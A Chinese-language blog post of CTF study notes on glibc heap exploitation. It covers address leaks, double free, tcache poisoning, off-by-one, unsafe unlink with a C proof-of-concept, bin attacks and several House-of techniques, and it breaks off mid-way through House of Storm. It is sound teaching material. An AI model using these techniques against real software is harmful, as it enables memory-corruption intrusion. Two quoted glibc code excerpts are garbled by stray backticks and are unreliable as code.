CTF中常见堆利用总结2

pre

基本上从大手子a3师傅的文章中复制过来学习的
https://arttnba3.cn/2021/05/10/PWN-0X01-GLIBC_HEAP-EXPLOIT

地址泄露

CTF中的堆利用往往保护全开,仍需要我们利用libc中的gadget来实现RCE以获得flag,那么就需要我们泄漏地址。

bins - libc 基址

(除 fastbins 与 tcache 以外)bins 与空闲 chunk 间构成双向链表结构,利用这个特性我们便可以泄漏出 main_arena 的地址,进而泄漏出 libc 的基址

gdb 调试可以方便我们知道 chunk 上所记载的与 main_arena 间的偏移

通常情况下,我们利用 unsorted bin 中的 chunk 泄露 libc 地址,其与 main_arena 间距离为 0x58/0x60(libc2.26 and up, with tcache),而 main_arena 与 __malloc_hook 间地址相差0x10

故有如下板子:

main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x60 # tcache
main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x58 # no tcache
main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - offset # other condition(not unsorted bin leak)
malloc_hook = main_arena - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']

这种利用的方式可以是通过垂悬指针打印bins中chunk内容,也可以是通过送入 bins 后再分配回来后打印 chunk 上残留的脏数据获得

_IO_FILE - libc 基址

主要针对没有打印函数或者打印次数不够(比如说只能输出一次但是得先泄露堆基址的libc2.32一类的)的情况,我们可以通过劫持_IO_2_1_stdout_ 结构体以泄漏出 libc 的地址,由于 main_arena 与 _IO_2_1_stdout_ 在相靠近的几个页内,故我们可以通过 partial overwrite 的方式以 1/16 的概率去撞 IO_2_1_stdout,之后修改该结构体以使得诸如 puts 这样的函数误认为有未输出内容从而打印出 libc 相关地址,可以通过 gdb 进行调试获得泄露出的地址相对于 libc 基址的偏移

本内容放到后面的 IO_FILE exploit 章节再行详细阐述

tcache key - 堆基址(only libc2.29 and up)

tcache key 所用的值便是 tcache 结构体本身的地址,故若我们能够打印 tcache key ,就能直接获得堆基址

对于常规的其他堆地址,我们还有如下板子:

heap_leak = u64(p.recv(6).ljust(8, b"\x00"))
heap_base = heap_leak - 0x290 - 0x10 - offset # C
heap_base = heap_leak - 0x11c10 - 0x290 - 0x10 - offset # C++ with string cin cout

需要注意的是不同版本的libc下这个偏移(0x290,libc2.30 and up;0x250,below the libc 2.30)并不一定是相同的

safe-linking in tcache - 堆基址(only libc2.32 and up)

在 tcache 的一个 entry 中放入第一个 chunk 时,其同样会对该 entry 中的 “chunk” (NULL)进行异或运算后写入到将放入 tcache 中的 chunk 的 fd 字段,若是我们能够打印该 free chunk 的fd字段,便能够直接获得未经异或运算的堆上相关地址

攻击思想

Use After Free

use after free 即对于垂悬指针的利用,在这类题目中往往题目在逻辑设计上会在free一个堆块后留下一个垂悬指针,未将其置 NULL ,使得该堆块虽然被 free 了,但是我们仍然能够使用该堆块

常见的垂悬指针利用有:

  • 泄露数据
  • double free -> 任意地址(tcachebin)/有限地址(fastbin)写, 核心一句话:分配回来改fd,再次见面带小弟
  • 构造地址写,核心一句话:free状态是伪fd,分配回来任你写

①double free

Tcache DF三次取,任意地址即可写

double free 则是 use after free 中最为热门的一种利用方式,当同一个 chunk 在堆管理器中同时存在两份副本时,我们将其中一个堆块分配回来并改写其 fd 指针,当该 chunk 再一次被取出时,留在堆管理器中的 chunk 地址便是由我们写入的 fake chunk 地址,此时我们再行分配便可以在我们所希望的地址获得一个 chunk,实现任意地址写/有限地址写


I.fastbin double free (fastbin_dup)

(1) fastbin 仅会检查链表的第一个节点,故仅需要构造 A->B->A 的 free() 链即可完成 fastbin double free,通过这样的方式我们可以利用 fastbin 进行有限地址写,这种利用方式也叫做 fastbin dup

(2) 其实,若是有Edit功能的话,可以有如下方式:
若当前单链表是B->A,将Bfd指针通过Edit修改为fake_chunk地址X,单链表就变成了B->X,申请了B之后,再申请一次,就拿到了X地址,从而进行读写。

size检查

在malloc取出fastbin中的chunk时会检查其size字段,若与其对应下标不相符则会引发程序abort,限制了我们所能构造fake chunk的位置,但该size检查不会检查标志位

__malloc_hook - 0x23

fastbin attack中分配到__malloc_hook附近的fake chunk通常都是malloc(0x60),也就是size == 0x71,这是因为在__malloc_hook - 0x23这个地址上fake chunk的SIZE的位置刚好是0x7f,满足了绕过fastbin的size检查的要求

pwndbg> x 0x7ffff7dd1b10
pwndbg> x/20a 0x7ffff7dd1b10 -0x23
0x7ffff7dd1aed 0xfff7dd0260000000 0x7f
0x7ffff7dd1afd 0xfff7a92ea0000000 0xfff7a92a7000007f
0x7ffff7dd1a0d 0x7f 0x0

【fake chunk 结构】

这是一个十分优雅的位置,因为无论何时这个位置上的值都是 0x7f,同时离 __malloc_hook 仅有 0x23 字节的距离,我们在构造 size 为 0x71 的 fake fastbin chunk 时若是构造到这个位置则完全不需要担心 size 检查的问题,因此 __malloc_hook - 0x23 也就成为了构造 fake fastbin chunk 的“热门地带”

0x23 与 0x13 是glibc 中固定值,__malloc_hook-0x23 的位置处天然存在着fastbin attack中用来伪造的chunk的size == 0x7f,满足了绕过fastbin的size检查的要求, 只要申请0x60的chunk即可获取到该fake_chunk,并编辑到__malloc_hook, 补上的偏移为 b’a’*0x13。

需要注意的是在libc2.31版本中这个位置上的数据已经不再是0x7f,故我们需要具体问题具体分析,具体版本具体调试


II.tcache double free(tcache_poisoning)

前面讲到,由于检查十分稀松的缘故,自 libc2.26起引进的 tcache 机制便成为了 ptmalloc 利用的大热门,libc2.28前对于 double free 视而不见的机制也让 pwn 手们不用绞尽脑汁构造以前形如A->B->A的复杂利用链

通过诸如 tcache double free 等方式(tcache 后进先出 头插头取),我们可以达到修改 tcache_entry 的 next 指针的目的,从而在任意地址分配到一个 chunk,

此外,若是有Edit功能,仿照上述 fast bin对应操作的技术被称为tcache_poisoning


III. glibc2.31下的double free:

glibc2.29之后加入了对tcache二次释放的检查,方法是在tcache_entry结构体中加入了一个标志key,用于表示chunk是否已经在所属的tcache bin中,对于每个chunk而言,key在其bk指针的位置上。
chunk被放入tcache bin时会设置key指向其所属的tcache结构体:e->key = tcache;,并在free时,进入tcache bin之前,会进行检查:如果是double free,那么putkey字段被设置了tcache,就会进入循环被检查出来;如果不是,那么key字段就是用户数据区域,可以视为随机的,只有1/(2^size_t)的可能行进入循环,然后循环发现并不是double free。这是一个较为优秀的算法,进行了剪枝,具体源码如下:

if (__glibc_unlikely(e->key == tcache))
{
    tcache_entry *tmp;
    LIBC_PROBE(memory_tcache_double_free, 2, e, tc_idx);
    for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
      if (tmp == e)
        malloc_printerr("free(): double free detected in tcache 2");
}

可通过fast bin double free+tcache stash机制来进行绕过:

(1) 假设目前tcache被填满了:C6->C5->C4->C3->C2->C1->C0fast bin中为:C7->C8->C7
(2) 下一步,为了分配到fast bin,需要先申请7个,让tcache为空(或calloc),再次申请时就会返回fast bin中的C7,同时由于tcache stash机制,fast bin中剩下的C8->C7,会按照链表顺序被放入tcache bin,并通过下文会介绍的机制,在tcache bin中会变成 C8->C7 (->C8 =>fake chunk)


VI.当可以Edit时,往往就不需要double free了?????????

而有些情况看似不能对空闲中的堆块进行Edit(比如存放长度的数组在free后会清零),但是可以利用UAF漏洞对处于空闲状态的堆块进行Edit,例如:

malloc(0x20) #1
free(1)
malloc(0x20) #2
free(1) #UAF
Edit(2, payload)

此时,我们编辑chunk 2,实则是在对已经freechunk 1进行编辑。

②管理堆块用户堆块混用

如果程序存在着UAF漏洞,当申请的堆块大小和程序设定的管理用户堆块的堆块大小相同时,那么就可构造出manage_chunk-> use_chunk-> manage_chunk 的fastbin链出来,此时申请一组管理堆块、用户堆块,大小不和之前的申请相同,那么就会将manage_chunk申请出来,此时fastbin中是use_chunk-> manage_chunk ,此时再申请一组管理堆块、用户堆块,即可任意编辑上一组中的管理堆块了,进而根据题目实现相应攻击。

add(8)
free(0)
free(0) # manage_chunk-> use_chunk-> manage_chunk
add(16)
back_door = 0x8048951
add(8,p32(back_door))
dump(1)

堆溢出

堆溢出通常指的是在程序读取输入到堆块上时,未经严格的检测(如使用gets()读入),导致用户输入的数据可以溢出到其物理相邻高地址的chunk,从而改写其结构,予攻击者以无限的利用空间

堆溢出是一种特定的缓冲区溢出(还有栈溢出, bss 段溢出等)。但是其与栈溢出所不同的是,堆上并不存在返回地址等可以让攻击者直接控制执行流程的数据,因此我们一般无法直接通过堆溢出来控制 EIP 。一般来说,我们利用堆溢出的策略是

  1. 覆盖与其物理相邻的下一个 chunk的内容。
    • prev_size
    • size,主要有三个比特位,以及该堆块真正的大小。
      • NON_MAIN_ARENA
      • IS_MAPPED
      • PREV_INUSE
      • the true chunk size
    • chunk content,从而改变程序固有的执行流。
  2. 利用堆重叠,通过溢出修改chunk header , 得到 double-linked 指针,两个指针指向同一个堆块,接下来进行fastbin dup 等攻击即可。
  3. 利用堆中的机制(如 unlink 等 )来实现任意地址写入( Write-Anything-Anywhere)或控制堆块中的内容等效果,从而来控制程序的执行流。

Off-by-One

缓冲区溢出了一个字节,由于glibc的空间复用技术(即pre_size给上一个allocated的堆块使用),所以可通过off by one修改下一个堆块的size域。
经常是由于循环次数设置有误造成了该漏洞的产生。比较隐蔽的是strcpy会在复制过去的字符串末尾加\x00,可能造成poison null byte

例如,strlenstrcpy 的行为不一致可能会导致off-by-one 的发生:strlen 在计算字符串长度时是不把结束符\x00计算在内的,但是strcpy在复制字符串时会拷贝结束符 \x00
off by one经常可以与Chunk Extend and Overlapping配合使用

  1. 扩展被释放块: 当可溢出堆块的下一个堆块处在unsorted bin中,可以通过溢出单字节扩大下一个堆块的size域,当申请新sizeunsorted bin中取出该堆块时,就会造成堆块重叠,从而控制原堆块之后的堆块。该方法的成功依赖于:malloc并不会对free chunk的完整性以及next chunkprev_size进行检查,甚至都不会查next chunk的地址是不是个堆块。
    libc-2.29增加了检测next chunkprev_size,会报错:malloc(): mismatching next->prev_size (unsorted),也增加了检测next chunk的地址是不是个堆块,会报错malloc(): invalid next size (unsorted)
    libc-2.23(11)的版本,当释放某一个非fast bin的堆块时,若上/下某堆块空闲,则会检测该空闲堆块的size与其next chunkprev_size是否相等。
  2. 扩展已分配块: 当可溢出堆块的一个堆块(通常是fast bin,small bin)处于使用状态中时,单字节溢出可修改处于allocated的堆块的size域,扩大到下面某个处于空闲状态的堆块处,然后将其释放,则会一直覆盖到下面的此空闲堆块,造成堆块重叠。
    此时释放处于使用状态的堆块,由于是根据处于使用中的堆块的size找到下一个堆块的,而若是上一个堆块处于使用中,那么下一个堆块的prev_size就不会存放上一个堆块的大小,而是进行空间复用,存放上一个堆块中的数据,因此,此时不论有没有sizenext chunkprev_size的一致性检测,上述利用都可以成功。
    同理,若将堆块大小设成0x10的整数倍,就不会复用空间,此时单字节溢出就可以修改next chunkprev_size域,然后将其释放,就会与上面的更多的堆块合并,造成堆块重叠,当然此时需要next chunkprev_inuse为零。
    当加入了对当前堆块的size与下一个堆块的prev_size的比对检查后,上述利用就难以实现了。
  3. 收缩被释放块: 利用poison null byte,即溢出的单字节为\x00的情况。通过单字节溢出可将下一个被释放块的size域缩小,而此被释放块的下一个堆块(allocated)的prev_size并不会被更改(将已被shrink的堆块进行切割,仍不会改变此prev_size域),若是将此被释放块的下一个堆块释放,则还是会利用原先的prev_size找到上一个被释放块进行合并,这样就造成了堆块重叠。
    同样,当加入了对当前堆块的size与下一个堆块的prev_size的比对检查后,上述利用就难以实现了。
  4. house of einherjar: 同样是利用poison null byte,当可溢出堆块的下一个堆块处于使用中时,通过单字节溢出,可修改next chunkprev_inuse位为零(0x101->0x100),同时将prev_size域改为该堆块与目标堆块位置的偏移,再释放可溢出堆块的下一个堆块,则会与上面的堆块合并,造成堆块重叠。值得一提的是,house of einherjar不仅可以造成堆块重叠,还具备将堆块分配到任意地址的能力,只要把上述的目标堆块改为fake chunk的地址即可,因此通常需要泄露堆地址,或者在栈上伪造堆。

Unlink

unsafe unlink

利用伪造 small bin unlink 过程来获得任意写。

发生场景:现在有物理空间连续的两个 chunk(Q,Nextchunk),其中 Q 处于使用状态、Nextchunk 处于释放状态。那么如果我们通过某种方式(比如溢出)将 Nextchunk 的 fd 和 bk 指针修改为指定的值。则当我们 free(Q) 时

  • glibc 判断这个块是 small chunk (prev_in_use 为 0 prev_size 合理)
  • 判断前向合并,发现前一个 chunk 处于使用状态,不需要前向合并
  • 判断后向合并,发现后一个 chunk 处于空闲状态,需要合并
  • 继而对 Nextchunk 采取 unlink 操作 ,Q是FD

unlink:由经典的链表操作FD=P->fd;BK=P->bk;FD->bk=BK;BK->fd=FD;实现,这样堆块P就从该双向链表中取出了。
unlink中有一个保护检查机制:(P->fd->bk!=P || P->bk->fd!=P) == True,需要绕过。

FD=P->fd = *(P + 2*sizeof(size_t) )
BK=P->bk = *(P + 3*sizeof(size_t) )
FD->bk = *(FD + 3*sizeof(size_t) ) <=(赋值)  *(P + 3*sizeof(size_t) )
BK->fd = *(BK + 2*sizeof(size_t) ) <=(赋值)  *(P + 2*sizeof(size_t) )

未加检查之前,可以利用赋值中的解析,从而任意地址写;
在加入保护检查机制后,我们无法通过 unlink 直接进行任意地址写入,但是我们仍旧能够通过 unlink 机制将特定地址写入到特定的位置
设指向可 UAF chunk 的指针 ptr (0x405290) 的地址为 &ptr (0x404070 ,heaparray_addr )

  1. 修改 fd 为 &ptr - 0x18

  2. 修改 bk 为 &ptr - 0x10

  3. 触发 unlink

    过程: free fake_chunk下一个used_chunk,触发前(forward)向合并,先进行检查,
    *(&ptr-0x18+3*8) == P ; *(&ptr-0x10+2*8) == P check通过!
    unlink赋值 FD->bk=BK;BK->fd=FD :
    *(&ptr-0x18+3*8) => ptr <= &ptr - 0x10 接着
    *(&ptr-0x10+2*8) => ptr <= &ptr - 0x18
    最终,ptr会变为 &ptr - 0x18。(欺骗变量ptr)

    编辑解析 ptr 会变为编辑解析 &ptr - 0x18 处,也就是数据段处;
    利用距离不长能写到,写入一个任意地址,再次编辑解析,获得任意地址写能力。

    pwndbg> p &chunk0_ptr
    $1 = (uint64_t **) 0x404078 <chunk0_ptr>
    # before unlink	
    pwndbg> p chunk0_ptr
    $3 = (uint64_t *) 0x555555a4d100 <heap>
    
    # after unlink
    pwndbg> tele 0x404078
    00:00000x404078 —▸ 0x404060 ◂— 0x0  [chunk 0   ,&ptr - 0x18]
    01:00080x404080 ◂— 0x0 			  [chunk 1]
    02:00100x404088 —▸ 0x555555a4d130 ◂— 0x61 /* 'a' */   [chunk 2]
    03:00180x404090 —▸ 0x555555a4d1c0 ◂— 0x61 /* 'a' */   [chunk 3]
    04:00200x404098 ◂— 0x0
    ...      3 skipped
    
    pwndbg> p chunk0_ptr
    $2 = (uint64_t *) 0x404060 <stderr@@GLIBC_2.2.5>

漏洞POC

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

// cc ./unlink.c -o unlink -no-pie -g
uint64_t *chunk0_ptr;
uint64_t *chunk1_ptr;
int main()
{
    int malloc_size = 0x80; //避免进入fast bin
    chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
    //chunk0_ptr指向堆块的user data,而&chunk0_ptr是指针的地址,其中存放着该指针指向的堆块的fd的地址
    //在0x90的chunk0的user data区伪造一个大小为0x80的fake chunk
    chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
    
    // have a bug, `set` can slove it. 
    //uint64_t *chunk1_hdr = chunk1_ptr - 0x10; //chunk1_hdr指向chunk1 header
    uint64_t *chunk1_hdr = chunk1_ptr - 2; 
    chunk1_hdr[0] = malloc_size; //往上寻找pre(fake) chunk
    chunk1_hdr[1] &= ~1; //prev_inuse -> 0
    
    chunk0_ptr[1] = 0x81; //高版本会有(chunksize(P)!=prev_size(next_chunk(P)) == False)的检查
    //绕过检测((P->fd->bk!=P || P->bk->fd!=P) == False):
    chunk0_ptr[2] = (uint64_t) &chunk0_ptr - 0x18; //设置fake chunk的fd
    //P->fd->bk=*(*(P+0x10)+0x18)=*(&P-0x18+0x18)=P
    chunk0_ptr[3] = (uint64_t) &chunk0_ptr - 0x10; //设置fake chunk的bk
    //P->bk->fd=*(*(P+0x18)+0x10)=*(&P-0x10+0x10)=P
 
	//高版本需要先填满对应的tcache bin
    void *ptrs[7];
    for(int i=0;i<7;i++){
        ptrs[i] = malloc(0x80);
    }
    for(int i=0;i<7;i++){
        free(ptrs[i]);
    }
    free(chunk1_ptr); //触发unlink,chunk1找到被伪造成空闲的fake chunk想与之合并,然后对fake chunk进行unlink操作
    //P->fd->bk=P=P->bk,P->bk->fd=P=P->fd,即最终P=*(P+0x10)=&P-0x18
 
    char victim_string[8] = "AAAAAAA";
    chunk0_ptr[3] = (uint64_t) victim_string; //*(P+0x18)=*(&P)=P=&str
 
    chunk0_ptr[0] = 0x42424242424242LL; //*P=*(&str)=str=BBBBBBB
    fprintf(stderr, "New Value: %s\n",victim_string); //BBBBBBB
    return 0;
}

Chunk Extend and Overlapping

往往配合溢出漏洞使用,这是一种攻击思想

堆块重叠即我们同时拥有两个或以上的下标指向同一个 chunk(同一个地址),在这样的情况下便可以手动实现 double free 、地址泄露(例如释放一个下标后通过另一个下标打印 chunk 内容从而获得堆/libc相关地址)等各种利用,十分方便

ptmalloc 通过 chunk header 的数据判断 chunk 的使用情况和对 chunk 的前后块进行定位。简而言之,chunk extend 就是通过控制 size 和 pre_size 域来实现跨越块操作从而导致 overlapping 的。

attack手法

具体见pwn_wp部分

Fastbin Attack

fastbin attack 是一类漏洞的利用方法,是指所有基于 fastbin 机制的漏洞利用方法。这类利用的前提是:

  • 存在堆溢出、use-after-free 等能控制 chunk 内容的漏洞
  • 漏洞发生于 fastbin 类型的 chunk 中

如果细分的话,可以做如下的分类:

  • Fastbin Double Free
  • House of Spirit
  • Alloc to Stack
  • Arbitrary Alloc

Unsorted Bin Attack

unsortedbin 特性:

1、当一个较大的chunk被分割成两半后,如果剩下的部分大于MINSIZE,就会被放到unsorted bin中。

2、释放一个不属于fastbin的chunk(user input大于0x78),并且该chunk不和top chunk紧邻时,该chunk 会被首先放到unsorted bin 中。

3、当进行malloc_consilidate (申请大chunk 会触发这个函数,它会清空fastbins中chunk、合并相邻空闲chunk)时,可能会把合并的chunk放到unsorted bin 中,如果不是和top chunk 近邻的话。

1、Unsorted Bin在使用的过程中,采用的遍历顺序是FIFO(fastbin tcache LIFO),即插入的时候插入到unsorted bin的头部,取出的时候从链表尾获取。在程序mallac时,如果在fastbin, small bin 中找不到对应大小的chunk,就会尝试从Unsorted Bin中寻找chunk如果取出来的chunk大小刚好满足,就会直接返回给用户,否则就会把这些chunk分别插入到对应的 bin中。保证后面取出来的一定是头chunk。

2、当将一个unsorted bin取出的时候,会将bck->fd的位置写入Unsorted Bin头的位置。如果我们能够控制unsorted_chunk的bk,那么就意味着可以将unsorted_chunks (av),即unsorted_chunk的块地址写到任意可写地址内

*remove from unsorted list*/
// bck 取出chunk的后一个
if(glibc_unlikely (bck- >fd != victim))
    malloc_printerr ( "malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av) ->bk = bck;
bck->fd = unsorted_chunks ( av);

unsorted bin into stack的原理比较简单,就是在栈上伪造一个堆块,然后修改unsorted bin中某堆块的bk指针指向此fake chunk,通过申请到此fake chunk达到对栈上地址的读写权。需要注意的是高版本有tcache的情况,此时在unsorted bin中找到一个合适大小的堆块后并不会直接返回,而是会放入tcache bin中,直到上限,若是某时刻tcache_count达到上限,则直接返回该fake chunk,不然会继续遍历,并在最后从tcache bin中取出返回给用户,此时就要求fake chunkbk指针指向自身,这样就可以通过循环绕过。
再来看真正的unsorted bin attack,其实在上述利用中,fake chunkfd指针被修改成了unsorted bin的地址,位于main_arena,甚至可以通过泄露其得到libc的基地址,当然也可以通过这个利用,将任意地址中的值改成很大的数(如global_max_fast),这就是unsorted bin attack的核心,其原理是:当某堆块victimunsorted bin list中取出时,会进行bck = victim->bk; unsorted_chunks(av)->bk = bck; bck->fd = unsorted_chunks(av);的操作。
例如,假设chunk_Aunsorted bin中,此时将chunk_Abk改成&global_max_fast - 0x10,然后取出chunk_A,那么chunk_A->bk->fd,也就是global_max_fast中就会写入unsorted bin地址,即一个很大的数。若是在高版本有tcache的情况下,可通过放入tcache的次数小于从中取出的次数,从而整型溢出,使得tcache_count为一个很大的数,如0xff,就可以解决unsorted bin into stack中提到的tcache特性带来的问题。

Large Bin Attack

假设当前chunk_Alarge bin中,修改其bkaddr1 - 0x10,同时修改其bk_nextsizeaddr2 - 0x20,此时chunk_B加入了此large bin,其大小略大于chunk_A,将会进行如下操作:

else``{``  ``victim``-``>fd_nextsize ``=` `fwd;``  ``victim``-``>bk_nextsize ``=` `fwd``-``>bk_nextsize;``/``/``1``  ``fwd``-``>bk_nextsize ``=` `victim;``  ``victim``-``>bk_nextsize``-``>fd_nextsize ``=` `victim;``/``/``2``}``...``bck ``=` `fwd``-``>bk;``...``victim``-``>bk ``=` `bck;``victim``-``>fd ``=` `fwd;``fwd``-``>bk ``=` `victim;``bck``-``>fd ``=` `victim;``/``/``3

其中,victim就是chunk_B,而fwd就是修改过后的chunk_A,注意到3bck->fd = victim,同时,把1带入2可得到:fwd->bk_nextsize->fd_nextsize=victim,因此,最终addr1addr2地址中的值均被赋成了victimchunk_Bchunk header地址,也是一个很大的数。

Tcache attack

先来看house of lore,如果能够修改small bin的某个free chunkbkfake chunk,并且通过修改fake chunkfd为该free chunk,绕过__glibc_unlikely( bck->fd != victim )检查,就可以通过申请堆块得到这个fake chunk,进而进行任意地址的读写操作。
当在高版本libc下有tcache后,将会更加容易达成上述目的,因为当从small bin返回了一个所需大小的chunk后,在将剩余堆块放入tcache bin的过程中,除了检测了第一个堆块的fd指针外,都缺失了__glibc_unlikely (bck->fd != victim)的双向链表完整性检测,又calloc()会越过tcache取堆块,因此有了如下tcache_stashing_unlink_attack的攻击手段,并同时实现了libc的泄露或将任意地址中的值改为很大的数(与unsorted bin attack很类似)。

  1. 假设目前tcache bin中已经有五个堆块,并且相应大小的small bin中已经有两个堆块,由bk指针连接为:chunk_A<-chunk_B

  2. 利用漏洞修改chunk_Abkfake chunk,并且修改fake chunkbktarget_addr - 0x10

  3. 通过calloc()越过tcache bin,直接从small bin中取出chunk_B返回给用户,并且会将chunk_A以及其所指向的fake chunk放入tcache bin(这里只会检测chunk_Afd指针是否指向了chunk_B)。

    while ( tcache``-``>counts[tc_idx] < mp_.tcache_count`` ``&& (tc_victim ``= last (``bin``) ) !``= bin``) ``/``/``验证取出的Chunk是否为``Bin``本身(Smallbin是否已空)``{`` ``if (tc_victim !``= 0``) ``/``/``成功获取了chunk`` ``{`` ``bck ``= tc_victim``-``>bk; ``/``/``在这里bck是fake chunk的bk`` ``/``/``设置标志位`` ``set_inuse_bit_at_offset (tc_victim, nb);`` ``if (av !``= &main_arena)`` ``set_non_main_arena (tc_victim); ``bin``-``>bk ``= bck;`` ``bck``-``>fd ``= bin``; ``/``/``关键处 ``tcache_put (tc_victim, tc_idx); ``/``/``将其放入到tcache中`` ``}``}

  4. fake chunk放入tcache bin之前,执行了bck->fd = bin;的操作(这里的bck就是fake chunkbk,也就是target_addr - 0x10),故target_addr - 0x10fd,也就target_addr地址会被写入一个与libc相关大数值(可利用)。

  5. 再申请一次,就可以从tcache中获得fake chunk的控制权。

综上,此利用可以完成获得任意地址的控制权在任意地址写入大数值两个任务,这两个任务当然也可以拆解分别完成。

  1. 获得任意地址target_addr的控制权:在上述流程中,直接将chunk_Abk改为target_addr - 0x10,并且保证target_addr - 0x10bkfd为一个可写地址(一般情况下,使target_addr - 0x10bk,即target_addr + 8处的值为一个可写地址即可)。
  2. 在任意地址target_addr写入大数值:在unsorted bin attack后,有时候要修复链表,在链表不好修复时,可以采用此利用达到同样的效果,在高版本glibc下,unsorted bin attack失效后,此利用应用更为广泛。在上述流程中,需要使tcache bin中原先有六个堆块,然后将chunk_Abk改为target_addr - 0x10即可。

此外,让tcache bin中不满七个,就又在smallbin中有同样大小的堆块,并且只有calloc,可以利用堆块分割后,残余部分进入unsorted bin实现。

House of Spirit

House Of Spirit和fastbin double free有一个非常大的区别,fastbin double free所释放的chunk是本身程序自己malloc产生的,但是house of spirit是去释放指定地址的chunk。那么这个chunk我们可以通过伪造的方式构建,他可以是任意可写地址。但这就产生了一个问题,我们在释放这个伪造的chunk的时候他是不能够直接挂进fastbin单向链表中的,就如同A向B捐献心脏(献出你的心脏巨人乱入 ),B会产生器官排斥一样。这是因为你在释放时,需要经过一些检查,去判断该释放的chunk是否为程序自身创建的。那么我们需要做的就是绕过这些检查 (5个):
1、fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理
IS_MAPPED,记录当前 chunk 是否是由 mmap 分配的,这个标志位位于size低二比特位

2、fake chunk 地址需要对齐, MALLOC_ALIGN_MASK
因为fake_chunk可以在任意可写位置构造,这里对齐指的是地址上的对齐而不仅仅是内存对齐,比如32位程序的话fake_chunk的prev_size所在地址就应该位0xXXXX0或0xXXXX4。64位的话地址就应该在0xXXXX0或0xXXXX8

3、fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐
fake_chunk如果想挂进fastbin的话构造的大小就不能大于0x80,关于对齐和上面一样,并且在确定prev_size的位置后size所在位置要满足堆块结构的摆放位置

4、fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem
fake_chunk 的大小,大小必须是 2 * SIZE_SZ 的整数倍。如果申请的内存大小不是 2 * SIZE_SZ 的整数倍,会被转换满足大小的最小的 2 * SIZE_SZ 的倍数。32 位系统中,SIZE_SZ 是 4;64 位系统中,SIZE_SZ 是 8。最大不能超过av->system_mem,即128kb。next_chunk的大小一般我们会设置成为一个超过fastbin最大的范围的一个数,但要小雨128kb,这样做的目的是在chunk连续释放的时候,能够保证伪造的chunk在释放后能够挂在fastbin中main_arena的前面,这样以来我们再一次申请伪造chunk大小的块时可以直接重启伪造chunk

5、fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况
这个检查就是fake_chunk前一个释放块不能是fake_chunk本身,如果是的话_int_free函数就会检查出来并且中断。

对于fast bin,可以在栈上伪造两个fake chunk,但需要绕过检查,应满足第一个fake chunk的标志位IS_MMAPPEDNON_MAIN_ARENA均为零(PREV_INUSE并不影响释放),且要求其大小满足fast bin的大小,对于其next chunk,即第二个fake chunk,需要满足其大小大于0x10,小于av->system_mem0x21000)才能绕过检查。之后,伪造指针P = & fake_chunk1_mem,然后free(P)fake_chunk1就进入了fast bin,之后再申请同样大小的内存,即可取出fake_chunk1,获得了栈上的任意读写权(当然并不局限于在栈上伪造)。
该技术在libc-2.26中仍然适用,可以对tcache做类似的操作,甚至没有对上述next chunk的检查。

House of Force

主要思路为:将top chunksize改为一个很大的数,就可以始终让top chunk满足切割条件,而恰好又没有对其的检查,故可利用此漏洞,top chunk的地址加上所请求的空间大小造成了整型溢出,使得top chunk被转移到内存中的低地址区域(如bss段,data段,got表等等),接下来再次请求空间,就可以获得转移地址后面的内存区域的控制权。

  1. 直接将top chunksize域赋成-1,通过整型溢出为0xffffffffffffffff
  2. 将需要申请的evil_size设为target_addr - top_ptr - 0x10*2,这里的top_ptr指向top chunkchunk header处。
  3. 通过malloc(evil_size)申请堆块,此时由于top chunksize很大,会绕过检查,通过top chunk进行分配,分配后,top chunk被转移到:top_ptr + (evil_size + 0x10) = target_addr - 0x10处。
  4. 之后,再申请P = malloc(X),则此时P指向target_addr,继而可对此地址进行任意读写的操作。

House of Rabbit

house of rabbit是利用malloc_consolidate()合并机制的一种方法。
malloc_consolidate()函数会将fastbin中的堆块之间或其中堆块与相邻的freed状态的堆块合并在一起,最后达到的效果就是将合并完成的堆块(或fastbin中的单个堆块)放进了smallbin/largebin中,在此过程中,并不会对fastbin中堆块的sizefd指针进行检查,这是一个可利用点。

  1. fastbin中的堆块size可控(比如off by one等)
    比如现在fastbin有两个0x20的堆块A -> B,其中chunk Bchunk A的上方,我们将chunk Bsize改为0x40,这样就正好包含了chunk A,且fake chunk B下面的堆块也就是chunk A下方的堆块,也是合法的,假设这个堆块不是freed的状态,那么触发malloc_consolidate()之后,smallbin里就会有两个堆块,一个是chunk A,另外一个是fake chunk B,其中包含了chunk A,这样就实现了堆块重叠。
  2. fastbin中的堆块fd可控(比如UAF漏洞等)
    其实就是将fastbin中的堆块的fd改为指向一个fake chunk,然后通过触发malloc_consolidate()之后,使这个fake chunk完全“合法化”。不过,需要注意伪造的是fake chunk's next chunksize与其next chunk's next chunksizeprev_inuse位要为1)。

House of Storm

一种large bin attack配合类似于unsorted bin into stack的攻击手段,适用于libc-2.30版本以下,由于基本可以被IO_FILE attack取代,目前应用情景并不是很广泛,但是其思路还是挺巧妙的,所以这里也介绍一下。
我们想用类似于unsorted bin into stack的手段,将某个unsorted binbk指向我们需要获得读写权限的地址,然后申请到该地址,但是我们又没办法在该地址周围伪造fake chunk,这时候可以配合large bin attack进行攻击。
假设需要获取权限的目标地址为addr,我们首先将某个unsorted binlarge bin大小,大小为X,地址为Z)的bk指向addr-0x20,然后将此时large bin中某堆块(大小为YX略大于Y)的bk设为addr-0x18bk_nextsize设为addr-0x20-0x20+3
这时通过申请0x50大小的堆块(后面解释),然后unsorted bin的那个堆块会被放入large bin中,先是addr-0x10被写入main_arena+88(在此攻击手段中用处不大),然后由于large bin attack,在地址Z对应的堆块从unsorted bin被转入large bin后,addr-0x8会被写入地址Z,从addr-0x20+3开始也会写入地址Z,造成的结果就是addr-0x18处会被写入了0x550x56(即地址Z的最高位),相当于伪造了size
此时的情形如下:

